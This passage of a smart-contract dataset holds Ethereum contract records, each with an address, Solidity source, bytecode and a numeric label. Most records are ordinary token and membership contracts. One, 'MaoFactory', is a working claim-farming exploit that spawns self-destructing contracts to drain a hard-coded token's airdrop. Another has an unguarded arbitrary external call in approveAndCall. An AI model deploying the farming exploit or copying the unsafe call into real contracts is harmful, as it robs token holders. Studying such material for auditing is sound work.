ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612669576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612775576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612780868686612e39565b6127eb84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce5565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129d35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612b3f868686612e39565b612baa84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612d9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d63578082015181840152602081019050612d48565b50505050905090810190601f168015612d905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b2cf079d336edcda3a28242633a1c0c8810adf742dfd60025c951f1a014018a564736f6c63430006060033
[ 38 ]
0xF32bAC8a57f2e7354bb82D05DCEe658A5Db5981a
// Verified using https://dapp.tools // hevm: flattened sources of src/lender/token/memberlist.sol // SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.5.15 >=0.6.12; ////// lib/tinlake-auth/src/auth.sol // Copyright (C) Centrifuge 2020, based on MakerDAO dss https://github.com/makerdao/dss /* pragma solidity >=0.5.15; */ contract Auth { mapping (address => uint256) public wards; event Rely(address indexed usr); event Deny(address indexed usr); function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1, "not-authorized"); _; } } ////// lib/tinlake-math/src/math.sol // Copyright (C) 2018 Rain <rainbreak@riseup.net> /* pragma solidity >=0.5.15; */ contract Math { uint256 constant ONE = 10 ** 27; function safeAdd(uint x, uint y) public pure returns (uint z) { require((z = x + y) >= x, "safe-add-failed"); } function safeSub(uint x, uint y) public pure returns (uint z) { require((z = x - y) <= x, "safe-sub-failed"); } function safeMul(uint x, uint y) public pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "safe-mul-failed"); } function safeDiv(uint x, uint y) public pure returns (uint z) { z = x / y; } function rmul(uint x, uint y) public pure returns (uint z) { z = safeMul(x, y) / ONE; } function rdiv(uint x, uint y) public pure returns (uint z) { require(y > 0, "division by zero"); z = safeAdd(safeMul(x, ONE), y / 2) / y; } function rdivup(uint x, uint y) internal pure returns (uint z) { require(y > 0, "division by zero"); // always rounds up z = safeAdd(safeMul(x, ONE), safeSub(y, 1)) / y; } } ////// src/lender/token/memberlist.sol /* pragma solidity >=0.6.12; */ /* import "tinlake-math/math.sol"; */ /* import "tinlake-auth/auth.sol"; */ contract Memberlist is Math, Auth { uint constant minimumDelay = 7 days; // -- Members-- mapping (address => uint) public members; function updateMember(address usr, uint validUntil) public auth { require((safeAdd(block.timestamp, minimumDelay)) < validUntil); members[usr] = validUntil; } function updateMembers(address[] memory users, uint validUntil) public auth { for (uint i = 0; i < users.length; i++) { updateMember(users[i], validUntil); } } constructor() { wards[msg.sender] = 1; } function member(address usr) public view { require((members[usr] >= block.timestamp), "not-allowed-to-hold-token"); } function hasMember(address usr) public view returns (bool) { if (members[usr] >= block.timestamp) { return true; } return false; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80639c52a7f11161008c578063bf353dbb11610066578063bf353dbb14610469578063d05c78da146104c1578063e6cb90131461050d578063e7d4539e14610559576100ea565b80639c52a7f11461038d578063a293d1e8146103d1578063b5931f7c1461041d576100ea565b8063336137c8116100c8578063336137c8146101ed57806365fae35e1461023b578063674570221461027f5780637adaa504146102cb576100ea565b806308ae4b0c146100ef5780630e2286d31461014757806312d4283514610193575b600080fd5b6101316004803603602081101561010557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061059d565b6040518082815260200191505060405180910390f35b61017d6004803603604081101561015d57600080fd5b8101908080359060200190929190803590602001909291905050506105b5565b6040518082815260200191505060405180910390f35b6101d5600480360360208110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610666565b60405180821515815260200191505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c1565b005b61027d6004803603602081101561025157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107d5565b005b6102b56004803603604081101561029557600080fd5b810190808035906020019092919080359060200190929190505050610913565b6040518082815260200191505060405180910390f35b61038b600480360360408110156102e157600080fd5b81019080803590602001906401000000008111156102fe57600080fd5b82018360208201111561031057600080fd5b8035906020019184602083028401116401000000008311171561033257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061093c565b005b6103cf600480360360208110156103a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b005b610407600480360360408110156103e757600080fd5b810190808035906020019092919080359060200190929190505050610b69565b6040518082815260200191505060405180910390f35b6104536004803603604081101561043357600080fd5b810190808035906020019092919080359060200190929190505050610bec565b6040518082815260200191505060405180910390f35b6104ab6004803603602081101561047f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c00565b6040518082815260200191505060405180910390f35b6104f7600480360360408110156104d757600080fd5b810190808035906020019092919080359060200190929190505050610c18565b6040518082815260200191505060405180910390f35b6105436004803603604081101561052357600080fd5b810190808035906020019092919080359060200190929190505050610cad565b6040518082815260200191505060405180910390f35b61059b6004803603602081101561056f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d30565b005b60016020528060005260406000206000915090505481565b600080821161062c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f6469766973696f6e206279207a65726f0000000000000000000000000000000081525060200191505060405180910390fd5b81610656610646856b033b2e3c9fd0803ce8000000610c18565b6002858161065057fe5b04610cad565b8161065d57fe5b04905092915050565b600042600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106106b757600190506106bc565b600090505b919050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f6e6f742d617574686f72697a656400000000000000000000000000000000000081525060200191505060405180910390fd5b806107834262093a80610cad565b1061078d57600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f6e6f742d617574686f72697a656400000000000000000000000000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b60006b033b2e3c9fd0803ce800000061092c8484610c18565b8161093357fe5b04905092915050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f6e6f742d617574686f72697a656400000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610a2657610a19838281518110610a0b57fe5b6020026020010151836106c1565b80806001019150506109f3565b505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610adf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f6e6f742d617574686f72697a656400000000000000000000000000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b6000828284039150811115610be6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f736166652d7375622d6661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b92915050565b6000818381610bf757fe5b04905092915050565b60006020528060005260406000206000915090505481565b600080821480610c355750828283850292508281610c3257fe5b04145b610ca7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f736166652d6d756c2d6661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b92915050565b6000828284019150811015610d2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f736166652d6164642d6661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b92915050565b42600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610de5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f6e6f742d616c6c6f7765642d746f2d686f6c642d746f6b656e0000000000000081525060200191505060405180910390fd5b5056fea2646970667358221220c9a88b7ae2d69402e8109b65e3c52568c2ec3c6b634b3a7d007025a6366895de64736f6c63430007060033
[ 38 ]
0xf32bad8d92dc3cf548305dbc9daa39fa3ac3c0d4
pragma solidity ^0.4.8; contract Token{ uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract NuoBaoChainToken is StandardToken { /* Public variables of the token */ string public name; uint8 public decimals; //最多的小数位数,How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //token简称: eg SBX string public version = 'H0.1'; //版本 function NuoBaoChainToken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; // 设置初始总量 name = _tokenName; // token名称 decimals = _decimalUnits; // 小数位数 symbol = _tokenSymbol; // token简称 } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce5671461025957806354fd4d501461028a57806370a082311461031a57806395d89b4114610371578063a9059cbb14610401578063cae9ca5114610466578063dd62ed3e14610511575b600080fd5b3480156100c057600080fd5b506100c9610588565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610626565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be610718565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061071e565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e61098a565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b5061029f61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102df5780820151818401526020810190506102c4565b50505050905090810190601f16801561030c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032657600080fd5b5061035b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a3b565b6040518082815260200191505060405180910390f35b34801561037d57600080fd5b50610386610a84565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103c65780820151818401526020810190506103ab565b50505050905090810190601f1680156103f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040d57600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b22565b604051808215151515815260200191505060405180910390f35b34801561047257600080fd5b506104f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610c7b565b604051808215151515815260200191505060405180910390f35b34801561051d57600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f18565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107eb575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156107f657600080fd5b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a335780601f10610a0857610100808354040283529160200191610a33565b820191906000526020600020905b815481529060010190602001808311610a1657829003601f168201915b505050505081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1a5780601f10610aef57610100808354040283529160200191610b1a565b820191906000526020600020905b815481529060010190602001808311610afd57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b7257600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ebc578082015181840152602081019050610ea1565b50505050905090810190601f168015610ee95780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f0d57600080fd5b600190509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a7230582041271c04cf17ab68742f45e3c51bd0f753f416a9e46a6594cb5e94688cea79f70029
[ 38 ]
0xf32Bc592629A98e0D7a7413DC1808797F05CAeFd
pragma solidity^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function claim() external; } contract Mao { function mao(address stupid) external { IERC20 s = IERC20(stupid); s.claim(); s.transfer(msg.sender, s.balanceOf(address(this))); selfdestruct(payable(msg.sender)); } } contract MaoFactory { address public owner; constructor() { owner = msg.sender; } function batchMao(uint256 cycle) public { while(cycle != 0) { Mao m = new Mao(); m.mao(0x1c7E83f8C581a967940DBfa7984744646AE46b29); cycle = cycle - 1; } } function WDAll() public { require(msg.sender == owner); IERC20 s = IERC20(0x1c7E83f8C581a967940DBfa7984744646AE46b29); s.transfer(msg.sender, s.balanceOf(address(this))); selfdestruct(payable(msg.sender)); } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c80632398ea6f146100465780637f130de1146100505780638da5cb5b1461006c575b600080fd5b61004e61008a565b005b61006a60048036038101906100659190610394565b61022a565b005b6100746102f7565b604051610081919061040c565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146100e257600080fd5b6000731c7e83f8c581a967940dbfa7984744646ae46b2990508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610151919061040c565b60206040518083038186803b15801561016957600080fd5b505afa15801561017d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101a191906103c1565b6040518363ffffffff1660e01b81526004016101be929190610427565b602060405180830381600087803b1580156101d857600080fd5b505af11580156101ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102109190610367565b503373ffffffffffffffffffffffffffffffffffffffff16ff5b5b600081146102f45760006040516102419061031b565b604051809103906000f08015801561025d573d6000803e3d6000fd5b5090508073ffffffffffffffffffffffffffffffffffffffff16632c0e6664731c7e83f8c581a967940dbfa7984744646ae46b296040518263ffffffff1660e01b81526004016102ad919061040c565b600060405180830381600087803b1580156102c757600080fd5b505af11580156102db573d6000803e3d6000fd5b505050506001826102ec9190610450565b91505061022b565b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6103f08061052f83390190565b60008151905061033781610500565b92915050565b60008135905061034c81610517565b92915050565b60008151905061036181610517565b92915050565b60006020828403121561037d5761037c6104fb565b5b600061038b84828501610328565b91505092915050565b6000602082840312156103aa576103a96104fb565b5b60006103b88482850161033d565b91505092915050565b6000602082840312156103d7576103d66104fb565b5b60006103e584828501610352565b91505092915050565b6103f781610484565b82525050565b610406816104c2565b82525050565b600060208201905061042160008301846103ee565b92915050565b600060408201905061043c60008301856103ee565b61044960208301846103fd565b9392505050565b600061045b826104c2565b9150610466836104c2565b925082821015610479576104786104cc565b5b828203905092915050565b600061048f826104a2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b61050981610496565b811461051457600080fd5b50565b610520816104c2565b811461052b57600080fd5b5056fe608060405234801561001057600080fd5b506103d0806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80632c0e666414610030575b600080fd5b61004a6004803603810190610045919061021f565b61004c565b005b60008190508073ffffffffffffffffffffffffffffffffffffffff16634e71d92d6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561009957600080fd5b505af11580156100ad573d6000803e3d6000fd5b505050508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161010791906102c4565b60206040518083038186803b15801561011f57600080fd5b505afa158015610133573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101579190610279565b6040518363ffffffff1660e01b81526004016101749291906102df565b602060405180830381600087803b15801561018e57600080fd5b505af11580156101a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101c6919061024c565b503373ffffffffffffffffffffffffffffffffffffffff16ff5b6000813590506101ef81610355565b92915050565b6000815190506102048161036c565b92915050565b60008151905061021981610383565b92915050565b60006020828403121561023557610234610350565b5b6000610243848285016101e0565b91505092915050565b60006020828403121561026257610261610350565b5b6000610270848285016101f5565b91505092915050565b60006020828403121561028f5761028e610350565b5b600061029d8482850161020a565b91505092915050565b6102af81610308565b82525050565b6102be81610346565b82525050565b60006020820190506102d960008301846102a6565b92915050565b60006040820190506102f460008301856102a6565b61030160208301846102b5565b9392505050565b600061031382610326565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600080fd5b61035e81610308565b811461036957600080fd5b50565b6103758161031a565b811461038057600080fd5b50565b61038c81610346565b811461039757600080fd5b5056fea2646970667358221220861bccd21a288c529785b7c1f67104b34624320ce688f114966c5c994116e08264736f6c63430008070033a26469706673582212203fb078eca1aab8391c21c0f0986f6e1370bc86b8faec69de9be90628e1a5d9a064736f6c63430008070033
[ 16, 23 ]
0xf32c1fb9b982D211B16c340E3bd0925FB1dc77cA
// SPDX-License-Identifier: MIT // BEANS by Dumb Ways to Die Terms and Conditions [ https://www.beansnfts.io/terms ] pragma solidity ^0.8.0; // reference: https://github.com/chiru-labs/ERC721A import "./ERC721A.sol"; // Openzepplin Contracts import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract ClassicBeans is ERC721A, Ownable { using Strings for uint256; // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // * TOKEN SETTINGS // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // The base URI to look for when searching for the metadata for each NFT string public baseURI; // The hidden URI for when the NFTs are hidden string public hiddenURI = "ipfs://QmdPLf582WtRcQean84RjWirDmEh5jSBL3YYxxB1m7B7DP"; // Returns the hidden URI instead of the unrevealed URI if set to false bool public revealed = false; constructor() ERC721A("CLASSIC BEANS - Dumb Ways to Die", "DWTD_CB") { mintAll(); } function mintAll() internal { // Mint all the characters in one transaction and send to the sender of this contract ( the owner ) _safeMint(msg.sender, 20); } function _startTokenId() internal pure override returns (uint256) { return 1; } // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // * REVEAL // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ function setRevealed(bool _revealedState) public onlyOwner { revealed = _revealedState; } // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // * URI // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Override the base Token URI function and add our URI to the address of each NFT function tokenURI(uint256 tokenId) public view override returns (string memory) { if (revealed == false) return hiddenURI; // Ensure that the token ID meta data exists require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); // Combine the base URI and the token ID to get the URI of the metadata for this token string memory currentBaseURI = baseURI; return 